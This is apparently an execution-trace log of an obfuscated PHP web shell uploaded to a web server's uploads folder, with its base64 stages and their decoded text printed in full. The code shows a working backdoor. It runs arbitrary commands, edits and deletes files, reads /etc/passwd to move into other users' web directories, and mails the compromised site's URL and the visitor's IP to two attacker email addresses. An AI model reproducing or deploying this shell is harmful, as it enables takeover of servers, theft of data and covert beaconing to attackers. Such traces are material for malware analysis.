idGVzdC50eHQiKTsKIH0gZWxzZQogZWNobyAiPGNlbnRlcj48Zm9udCBzaXplPTM+Q2FuIG5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOwogfQogfQoKIyNKVU1QSU5HIAp9IGVsc2VpZigkX0dFVFsnYSddID09ICdqdW1waW5nJykgewogICAgJGkgPSAwOwogICAgZWNobyAiPHByZT48ZGl2IGNsYXNzPSdtYXJnaW46IDVweCBhdXRvOyc+IjsKICAgICRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+Iik7CiAgICB3aGlsZSgkcGFzc3dkID0gZmdldHMoJGV0YykpIHsKaWYoJHBhc3N3ZCA9PSAnJyB8fCAhJGV0YykgewogICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsKfSBlbHNlIHsKICAgIHByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfanVtcGluZyk7CiAgICBmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsKICAgICAgICAkdXNlcl9qdW1waW5nX2RpciA9ICIvaG9tZS8kdXNlcl9pZHhfanVtcC9wdWJsaWNfaHRtbCI7CiAgICAgICAgaWYoaXNfcmVhZGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7CiAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgICRqcncgPSAiWzxmb250IGNvbG9yPSM1ZGRjZmM+UjwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPXJlZD4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7CiAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9IzVkZGNmYz4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICRqcnc7CiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewogICAgICAgICAgICAgICAgJGRvbWFpbl9qdW1wID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOyAgIAogICAgICAgICAgICAgICAgaWYoJGRvbWFpbl9qdW1wID09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhZ2FsIG1lbmdhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiMvdmFyL25hbWVkLyguKj8pLmRiIyIsICRkb21haW5fanVtcCwgJGRvbWFpbnNfanVtcCk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgewogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcl9qdW1waW5nX3VybCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvJGRqIikpOwogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcl9qdW1waW5nX3VybCA9ICR1c2VyX2p1bXBpbmdfdXJsWyduYW1lJ107CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX2lkeF9qdW1wKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPT4gKCA8dT4kZGo8L3U+ICk8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAiPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KICAgIH0KICAgIGlmKCRpID09IDApIHsKICAgIH0gZWxzZSB7CmVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOwogICAgCiAgICBlY2hvICI8L2Rpdj48L3ByZT4iOwogICAgICAgIH0KCiAgICAKCgovL0NPTkZJRwoKfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnY21kJykgewogICAgZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4KICAgIDxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPiIuJHVzZXIuIkAiLiRpcC4iOiB+ICQgPC9mb250PgogICAgPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzMwJyBoZWlnaHQ9JzEwJyBuYW1lPSdjbWQnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2RvX2NtZCcgdmFsdWU9Jz4+Jz4KICAgIDwvZm9ybT4iOwogICAgaWYoJF9QT1NUWydkb19jbWQnXSkgewogICAgICAgIGVjaG8gIjxwcmU+Ii5leGUoJF9QT1NUWydjbWQnXSkuIjwvcHJlPiI7CiAgICB9CgovL1NUQVJUCn0gZWxzZWlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOwplY2hvICRfR0VUWydmaWxlc3JjJ107CmVjaG8gJzwvdHI+PC90ZD48L3RhYmxlPjxiciAvPic7CmVjaG8oJyA8Y2VudGVyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6ODAlO2hlaWdodDo1MCU7IiByZWFkb25seT4gJy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC90ZXh0YXJlYT48L2NlbnRlcj4nKTsKfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpewplY2hvICc8L3RhYmxlPjxiciAvPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7CmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CmlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJ5ZWxsb3ciPiAgUGVybWlzc2lvbiBPa2s8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPiBQZXJtaXNzaW9uIGVycm9yPC9mb250PjxiciAvPic7Cn0KfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNobW9kIiAvPgo8L2Zvcm0+JzsKfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICc8Zm9udCBjb2xvcj0ieWVsbG93Ij5Eb25lPC9mb250PjxiciAvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0iUkVEIj5lcnJvciA8L2ZvbnQ+PGJyIC8+JzsKfQokX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOwp9CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Ck5hbWEgQmFydSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVYmFoIE5hbWEiIC8+CjwvZm9ybT4nOwp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsKaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpewokZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKZWNobyAnPGZvbnQgY29sb3I9InllbGxvdyI+RWRpdCBGaWxlIERvbmU8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPkVkaXQgRmlsZSBFcnJvcjwvZm9udD48YnIgLz4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTE0MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4KPC9mb3JtPic7Cn0KZWNobyAnPC9jZW50ZXI+JzsKfWVsc2V7CmVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpewppZigkX1BPU1RbJ3R5cGUnXSA9PSAnZGlyJyl7CmlmKHJtZGlyKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJ5ZWxsb3ciPkRvbmU8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPiBFcnJvcjwvZm9udD48YnIgLz4nOwp9Cn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJ5ZWxsb3ciPkRvbmU8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSIjcmVkIj4gRXJyb3I8L2ZvbnQ+PGJyIC8+JzsKfQp9Cn0KICAgICAgICAKZWNobyAnPC9jZW50ZXI+JzsKJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDBweCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgo8dHIgY2xhc3M9ImZpcnN0Ij4KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPk5hbWU8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+CjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5TaXplPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPgo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+UGVybWlzc2lvbnM8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+CjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5PcHRpb25zPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPgo8L3RyPic7Cgpmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewppZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAiPHRkIGNsYXNzPSd0ZF9ob21lJz48aW1nIHNyYz0nZGF0YTppbWFnZS9wbmc7YmFzZTY0LFIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy81eWNBTTdPWS8vL25QLy96di9PblBmMzkvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVRBQkFBQUFSUkVNbEpxNzA0NnlwNkJ4c2lIRVZCRUFLWUNVUHJEcDdIbFhSZEVvTXFDZWJwIi4iLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0nPgo8YSBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPjxmb250IGNvbG9yPXJlZD4kZGlyPC9mb250PjwvYT48L3RkPgo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+RGlyZWN0b3J5PC9mb250PjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPiI7CiAgICAKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InllbGxvdyI+JzsKZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwplY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7CmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzwvZm9udD4nOwoKZWNobyAiPC9jZW50ZXI+PC90ZD4KPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPgo8c2VsZWN0IG5hbWU9XCJvcHRcIj4KPG9wdGlvbiB2YWx1ZT1cIlNlbGVjdFwiPlNlbGVjdDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImRpclwiPgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+CjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPC90cj4iOwp9CmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsKZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CmlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsKfQoKZWNobyAiPHRyPgo8dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPSc+CjxhIGhyZWY9XCI/ZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+PGZvbnQgY29sb3I9cmVkPiRmaWxlPC9mb250PjwvYT48L3RkPgo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1SZWQ+Ii4kc2l6ZS4iPC9mb250PjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPiI7CmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JzsKZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9cmVkPic7CmVjaG8gcGVybXMoIiRwYXRoLyRmaWxlIik7CmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7CmVjaG8gIjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4KPHNlbGVjdCBuYW1lPVwib3B0XCI+CjxvcHRpb24gdmFsdWU9XCJTZWxlY3RcIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9XCJlZGl0XCI+RWRpdDwvb3B0aW9uPgo8L3NlbGVjdD4KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+CjwvZm9ybT48L2NlbnRlcj48L3RkPgo8L3RyPiI7Cn0KZWNobyAnPC90YWJsZT4KPC9kaXY+JzsKfQplY2hvICc8YnIgLz4KPGNlbnRlcj4KPGZvbnQgc2l6ZT0zIDsgY29sb3I9d2hpdGU+RmlnaHRlciBBbmFzIFByaXZhdGUgU2hlbGwgVi4xIC0gPGZvbnQgc2l6ZT0zIDsgY29sb3I9cmVkPlJveWFsPGZvbnQgc2l6ZT0zIDsgY29sb3I9d2hpdGU+QmF0dGxlciBCRDxicj48Zm9udCBzaXplPTQgOyBjb2xvcj13aGl0ZT5Db3B5cmlnaHQgJmNvcHk7IEZpZ2h0ZXIgQW5hczwvZm9udD48L2JyPgoKPC9ib2R5Pgo8L2h0bWw+JzsKZnVuY3Rpb24gcGVybXMoJGZpbGUpewokcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwoKaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgewovLyBTb2NrZXQKJGluZm8gPSAncyc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKLy8gU3ltYm9saWMgTGluawokaW5mbyA9ICdsJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgewovLyBSZWd1bGFyCiRpbmZvID0gJy0nOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7Ci8vIEJsb2NrIHNwZWNpYWwKJGluZm8gPSAnYic7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKLy8gRGlyZWN0b3J5CiRpbmZvID0gJ2QnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ci8vIENoYXJhY3RlciBzcGVjaWFsCiRpbmZvID0gJ2MnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7Ci8vIEZJRk8gcGlwZQokaW5mbyA9ICdwJzsKfSBlbHNlIHsKLy8gVW5rbm93bgokaW5mbyA9ICd1JzsKfQoKLy8gT3duZXIKJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8KKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOgooKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCi8vIEdyb3VwCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/CigoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgovLyBXb3JsZAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPwooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6CigoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoKcmV0dXJuICRpbmZvOwp9\';\neval(base64_decode($code)); \n?>'	/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	0
3		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code	3	$code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKJHR1anVhbm1haWwgPSAnc2VydmVycGhwc2hlbGxAZ21haWwuY29tJzsKJHR1anVhbm1haWwxID0gJzEzc2hlbGwzN0BnbWFpbC5jb20nOwokeF9wYXRoID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9U'
4	24	0	0.004972	618560	base64_decode	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code	4	1	'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKJHR1anVhbm1haWwgPSAnc2VydmVycGhwc2hlbGxAZ21haWwuY29tJzsKJHR1anVhbm1haWwxID0gJzEzc2hlbGwzN0BnbWFpbC5jb20nOwokeF9wYXRoID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9U'
4	24	1	0.005222	696416
4	24	R			'@ini_set(\'output_buffering\', 0);\n@ini_set(\'display_errors\', 0);\nset_time_limit(0);\nini_set(\'memory_limit\', \'64M\');\nheader(\'Content-Type: text/html; charset=UTF-8\');\n$tujuanmail = \'serverphpshell@gmail.com\';\n$tujuanmail1 = \'13shell37@gmail.com\';\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]")'
4	25	0	0.006631	967752	eval	1	'@ini_set(\'output_buffering\', 0);\n@ini_set(\'display_errors\', 0);\nset_time_limit(0);\nini_set(\'memory_limit\', \'64M\');\nheader(\'Content-Type: text/html; charset=UTF-8\');\n$tujuanmail = \'serverphpshell@gmail.com\';\n$tujuanmail1 = \'13shell37@gmail.com\';\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\nmail($tujuanmail1, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\nset_time_limit(0);\nerror_reporting(0);\n\n//function\nfunction ambilKata($param, $kata1, $kata2){\n    